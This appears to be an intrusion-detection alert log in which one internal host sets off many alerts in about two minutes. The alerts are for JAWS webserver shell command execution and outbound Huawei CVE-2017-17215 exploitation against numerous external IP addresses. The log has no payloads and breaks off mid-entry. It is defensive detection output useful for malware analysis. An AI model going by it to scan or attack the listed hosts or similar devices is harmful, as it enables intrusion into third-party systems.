ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.117.159.2

Timestamp:	192.168.2.2334.117.159.256326802030092 07/11/22-01:03:13.182256
SID:	2030092
Source Port:	56326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.24.88

Timestamp:	192.168.2.23156.224.24.8855980372152835222 07/11/22-01:03:16.783445
SID:	2835222
Source Port:	55980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.35.182.23

Timestamp:	192.168.2.2313.35.182.2349414802030092 07/11/22-01:04:00.226282
SID:	2030092
Source Port:	49414
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 142.252.126.178

Timestamp:	192.168.2.23142.252.126.17860000802030092 07/11/22-01:02:56.329413
SID:	2030092
Source Port:	60000
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.58.97.81

Timestamp:	192.168.2.23185.58.97.8137952802030092 07/11/22-01:03:09.460587
SID:	2030092
Source Port:	37952
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 181.208.97.160

Timestamp:	192.168.2.23181.208.97.16054224802030092 07/11/22-01:02:31.367556
SID:	2030092
Source Port:	54224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.36.54.149

Timestamp:	192.168.2.2377.36.54.14956204802030092 07/11/22-01:02:34.993437
SID:	2030092
Source Port:	56204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.234.170.46

Timestamp:	192.168.2.23104.234.170.4646924802030092 07/11/22-01:03:00.540076
SID:	2030092
Source Port:	46924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.82.137

Timestamp:	192.168.2.23156.250.82.13740652372152835222 07/11/22-01:03:09.042929
SID:	2835222
Source Port:	40652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 79.73.135.133

Timestamp:	192.168.2.2379.73.135.13338914802030092 07/11/22-01:03:40.566456
SID:	2030092
Source Port:	38914
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.137.62.106

Timestamp:	192.168.2.23216.137.62.10644896802030092 07/11/22-01:03:10.308180
SID:	2030092
Source Port:	44896
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.205.93.202

Timestamp:	192.168.2.2323.205.93.20243116802030092 07/11/22-01:02:22.099298
SID:	2030092
Source Port:	43116
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.229.137.179

Timestamp:	192.168.2.2335.229.137.17950490802030092 07/11/22-01:02:50.239738
SID:	2030092
Source Port:	50490
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.122.196.157

Timestamp:	192.168.2.2392.122.196.15748346802030092 07/11/22-01:03:23.466250
SID:	2030092
Source Port:	48346
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.111.198.174

Timestamp:	192.168.2.2313.111.198.17435232802030092 07/11/22-01:02:16.267039
SID:	2030092
Source Port:	35232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.98.45.176

Timestamp:	192.168.2.2347.98.45.17641734802030092 07/11/22-01:03:15.245609
SID:	2030092
Source Port:	41734
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.109.254

Timestamp:	192.168.2.23156.226.109.25441332372152835222 07/11/22-01:03:19.426629
SID:	2835222
Source Port:	41332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.38.247.134

Timestamp:	192.168.2.2323.38.247.13440886802030092 07/11/22-01:03:01.549879
SID:	2030092
Source Port:	40886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.114.9.110

Timestamp:	192.168.2.23176.114.9.11042492802030092 07/11/22-01:03:45.705519
SID:	2030092
Source Port:	42492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.66.178

Timestamp:	192.168.2.23156.226.66.17845184372152835222 07/11/22-01:02:47.876649
SID:	2835222
Source Port:	45184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.36.230

Timestamp:	192.168.2.23156.245.36.23056956372152835222 07/11/22-01:02:30.125061
SID:	2835222
Source Port:	56956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.26.116.34

Timestamp:	192.168.2.2380.26.116.3434062802030092 07/11/22-01:03:38.387243
SID:	2030092
Source Port:	34062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.230.255.131

Timestamp:	192.168.2.2313.230.255.13155118802030092 07/11/22-01:03:13.397305
SID:	2030092
Source Port:	55118
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.90.116.143

Timestamp:	192.168.2.2391.90.116.14359940802030092 07/11/22-01:03:40.551782
SID:	2030092
Source Port:	59940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.208.73.18

Timestamp:	192.168.2.2362.208.73.1845546802030092 07/11/22-01:02:44.110988
SID:	2030092
Source Port:	45546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 187.32.49.98

Timestamp:	192.168.2.23187.32.49.9847744802030092 07/11/22-01:04:01.580202
SID:	2030092
Source Port:	47744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.26.253.28

Timestamp:	192.168.2.2352.26.253.2846982802030092 07/11/22-01:02:23.433434
SID:	2030092
Source Port:	46982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.152.218.22

Timestamp:	192.168.2.2382.152.218.2257952802030092 07/11/22-01:02:51.769580
SID:	2030092
Source Port:	57952
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.205.146.235

Timestamp:	192.168.2.2352.205.146.23550946802030092 07/11/22-01:03:15.289633
SID:	2030092
Source Port:	50946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.91.33

Timestamp:	192.168.2.23156.241.91.3334988372152835222 07/11/22-01:03:37.035900
SID:	2835222
Source Port:	34988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.110.166

Timestamp:	192.168.2.23156.250.110.16635870372152835222 07/11/22-01:02:55.302957
SID:	2835222
Source Port:	35870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.108.1

Timestamp:	192.168.2.23156.226.108.142078372152835222 07/11/22-01:02:34.294700
SID:	2835222
Source Port:	42078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.84.178.105

Timestamp:	192.168.2.2352.84.178.10537820802030092 07/11/22-01:03:08.649199
SID:	2030092
Source Port:	37820
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 223.119.224.218

Timestamp:	192.168.2.23223.119.224.21834162802030092 07/11/22-01:03:46.662957
SID:	2030092
Source Port:	34162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.153.204

Timestamp:	192.168.2.23156.225.153.20439294372152835222 07/11/22-01:03:03.019595
SID:	2835222
Source Port:	39294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.45.106.105

Timestamp:	192.168.2.2323.45.106.10537058802030092 07/11/22-01:02:46.015860
SID:	2030092
Source Port:	37058
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.137.38.135

Timestamp:	192.168.2.23193.137.38.13541590802030092 07/11/22-01:03:33.083938
SID:	2030092
Source Port:	41590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.173.20.159

Timestamp:	192.168.2.23112.173.20.15933580802030092 07/11/22-01:03:47.259060
SID:	2030092
Source Port:	33580
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.213.113.194

Timestamp:	192.168.2.23162.213.113.19448456802030092 07/11/22-01:03:53.450846
SID:	2030092
Source Port:	48456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.76.78.167

Timestamp:	192.168.2.2345.76.78.16756904802030092 07/11/22-01:02:35.479065
SID:	2030092
Source Port:	56904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 102.67.105.126

Timestamp:	192.168.2.23102.67.105.12639376802030092 07/11/22-01:02:14.003808
SID:	2030092
Source Port:	39376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.89.85.165

Timestamp:	192.168.2.23104.89.85.16559310802030092 07/11/22-01:02:38.739356
SID:	2030092
Source Port:	59310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.100.183.213

Timestamp:	192.168.2.2395.100.183.21347758802030092 07/11/22-01:03:02.500529
SID:	2030092
Source Port:	47758
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.10.47

Timestamp:	192.168.2.23156.241.10.4746048372152835222 07/11/22-01:02:24.370897
SID:	2835222
Source Port:	46048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.23.236.221

Timestamp:	192.168.2.2393.23.236.22140744802030092 07/11/22-01:03:33.029933
SID:	2030092
Source Port:	40744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.100.50.161

Timestamp:	192.168.2.23104.100.50.16160910802030092 07/11/22-01:02:41.300724
SID:	2030092
Source Port:	60910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.214.100.29

Timestamp:	192.168.2.2385.214.100.2956828802030092 07/11/22-01:03:15.182064
SID:	2030092
Source Port:	56828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.70.173.177

Timestamp:	192.168.2.23118.70.173.17737668802030092 07/11/22-01:03:01.720631
SID:	2030092
Source Port:	37668
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.62.154.205

Timestamp:	192.168.2.2352.62.154.20532928802030092 07/11/22-01:03:53.698077
SID:	2030092
Source Port:	32928
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 76.69.178.13

Timestamp:	192.168.2.2376.69.178.1342594802030092 07/11/22-01:03:27.884297
SID:	2030092
Source Port:	42594
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.47.196.121

Timestamp:	192.168.2.23143.47.196.12139910802030092 07/11/22-01:02:21.108752
SID:	2030092
Source Port:	39910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.6.62.178

Timestamp:	192.168.2.2323.6.62.17859334802030092 07/11/22-01:03:24.281328
SID:	2030092
Source Port:	59334
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.26.162.16

Timestamp:	192.168.2.23154.26.162.1636556802030092 07/11/22-01:03:34.197358
SID:	2030092
Source Port:	36556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 223.119.224.218

Timestamp:	192.168.2.23223.119.224.21834116802030092 07/11/22-01:03:45.448598
SID:	2030092
Source Port:	34116
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.159.74.87

Timestamp:	192.168.2.23108.159.74.8757532802030092 07/11/22-01:02:28.305580
SID:	2030092
Source Port:	57532
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.101.248.44

Timestamp:	192.168.2.2395.101.248.4458106802030092 07/11/22-01:02:34.053450
SID:	2030092
Source Port:	58106
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.211.107.130

Timestamp:	192.168.2.23198.211.107.13044066802030092 07/11/22-01:03:47.199938
SID:	2030092
Source Port:	44066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.95.77.64

Timestamp:	192.168.2.23143.95.77.6440386802030092 07/11/22-01:02:12.943572
SID:	2030092
Source Port:	40386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.117.229.179

Timestamp:	192.168.2.23217.117.229.17936568802030092 07/11/22-01:03:30.121080
SID:	2030092
Source Port:	36568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.167.33.13

Timestamp:	192.168.2.23107.167.33.1338562802030092 07/11/22-01:03:18.413469
SID:	2030092
Source Port:	38562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.71.59.231

Timestamp:	192.168.2.23178.71.59.23150900802030092 07/11/22-01:03:12.282960
SID:	2030092
Source Port:	50900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.117.229.206

Timestamp:	192.168.2.2339.117.229.20658552802030092 07/11/22-01:04:06.635414
SID:	2030092
Source Port:	58552
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.88.110.72

Timestamp:	192.168.2.23203.88.110.7233142802030092 07/11/22-01:02:53.934689
SID:	2030092
Source Port:	33142
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.4.66.216

Timestamp:	192.168.2.2345.4.66.21639896802030092 07/11/22-01:02:20.570433
SID:	2030092
Source Port:	39896
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.185.225.55

Timestamp:	192.168.2.2318.185.225.5557848802030092 07/11/22-01:02:54.006692
SID:	2030092
Source Port:	57848
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.233.99.57

Timestamp:	192.168.2.2334.233.99.5753288802030092 07/11/22-01:03:39.997181
SID:	2030092
Source Port:	53288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.252.40.219

Timestamp:	192.168.2.23104.252.40.21960644802030092 07/11/22-01:02:16.186901
SID:	2030092
Source Port:	60644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.145.234

Timestamp:	192.168.2.23156.225.145.23441976372152835222 07/11/22-01:03:06.312969
SID:	2835222
Source Port:	41976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.156.91.24

Timestamp:	192.168.2.2335.156.91.2447232802030092 07/11/22-01:02:38.025745
SID:	2030092
Source Port:	47232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.196.90.237

Timestamp:	192.168.2.2334.196.90.23739842802030092 07/11/22-01:03:09.709391
SID:	2030092
Source Port:	39842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.48.144.51

Timestamp:	192.168.2.23117.48.144.5159364802030092 07/11/22-01:03:21.493643
SID:	2030092
Source Port:	59364
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.185.164.176

Timestamp:	192.168.2.23220.185.164.17646700802030092 07/11/22-01:02:35.637869
SID:	2030092
Source Port:	46700
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.57.238.122

Timestamp:	192.168.2.2323.57.238.12248018802030092 07/11/22-01:03:30.223925
SID:	2030092
Source Port:	48018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.81.106.69

Timestamp:	192.168.2.23208.81.106.6939238802030092 07/11/22-01:03:53.861509
SID:	2030092
Source Port:	39238
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.16.117.21

Timestamp:	192.168.2.2396.16.117.2153190802030092 07/11/22-01:02:21.089510
SID:	2030092
Source Port:	53190
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.77.33.105

Timestamp:	192.168.2.23178.77.33.10553024802030092 07/11/22-01:02:34.065004
SID:	2030092
Source Port:	53024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.201.140.50

Timestamp:	192.168.2.2384.201.140.5035762802030092 07/11/22-01:02:57.738791
SID:	2030092
Source Port:	35762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 223.119.224.218

Timestamp:	192.168.2.23223.119.224.21834254802030092 07/11/22-01:03:47.396327
SID:	2030092
Source Port:	34254
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.201.0.2

Timestamp:	192.168.2.2384.201.0.252588802030092 07/11/22-01:02:33.476281
SID:	2030092
Source Port:	52588
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.222.101.242

Timestamp:	192.168.2.23209.222.101.24248080802030092 07/11/22-01:02:38.882541
SID:	2030092
Source Port:	48080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.15.238.17

Timestamp:	192.168.2.2352.15.238.1739078802030092 07/11/22-01:03:47.000718
SID:	2030092
Source Port:	39078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.66.116

Timestamp:	192.168.2.23156.226.66.11639594372152835222 07/11/22-01:04:04.566213
SID:	2835222
Source Port:	39594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 65.8.74.192

Timestamp:	192.168.2.2365.8.74.19241606802030092 07/11/22-01:04:08.196520
SID:	2030092
Source Port:	41606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 142.244.185.190

Timestamp:	192.168.2.23142.244.185.19058538802030092 07/11/22-01:02:31.625083
SID:	2030092
Source Port:	58538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.148.159.215

Timestamp:	192.168.2.23146.148.159.21536890802030092 07/11/22-01:02:50.113275
SID:	2030092
Source Port:	36890
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.183.92.20

Timestamp:	192.168.2.23121.183.92.2057012802030092 07/11/22-01:02:56.165796
SID:	2030092
Source Port:	57012
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.171.59.70

Timestamp:	192.168.2.23108.171.59.7055870802030092 07/11/22-01:02:16.180038
SID:	2030092
Source Port:	55870
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.128.181.38

Timestamp:	192.168.2.23138.128.181.3840674802030092 07/11/22-01:04:14.890114
SID:	2030092
Source Port:	40674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.137.165.28

Timestamp:	192.168.2.23203.137.165.2858432802030092 07/11/22-01:02:14.693329
SID:	2030092
Source Port:	58432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.168.118.184

Timestamp:	192.168.2.23103.168.118.18446964802030092 07/11/22-01:03:34.364597
SID:	2030092
Source Port:	46964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.230.248.9

Timestamp:	192.168.2.23173.230.248.937802802030092 07/11/22-01:04:00.347245
SID:	2030092
Source Port:	37802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.156.226.32

Timestamp:	192.168.2.2354.156.226.3260430802030092 07/11/22-01:03:04.194866
SID:	2030092
Source Port:	60430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.35.225.74

Timestamp:	192.168.2.235.35.225.7458902802030092 07/11/22-01:03:36.982731
SID:	2030092
Source Port:	58902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.74.171.6

Timestamp:	192.168.2.2347.74.171.649180802030092 07/11/22-01:03:56.723170
SID:	2030092
Source Port:	49180
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.19.87.18

Timestamp:	192.168.2.23154.19.87.1853940802030092 07/11/22-01:03:21.211588
SID:	2030092
Source Port:	53940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.157.43.239

Timestamp:	192.168.2.2382.157.43.23956534802030092 07/11/22-01:03:47.482365
SID:	2030092
Source Port:	56534
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.56.237.84

Timestamp:	192.168.2.23176.56.237.8451128802030092 07/11/22-01:02:47.833303
SID:	2030092
Source Port:	51128
Destination Port:	80
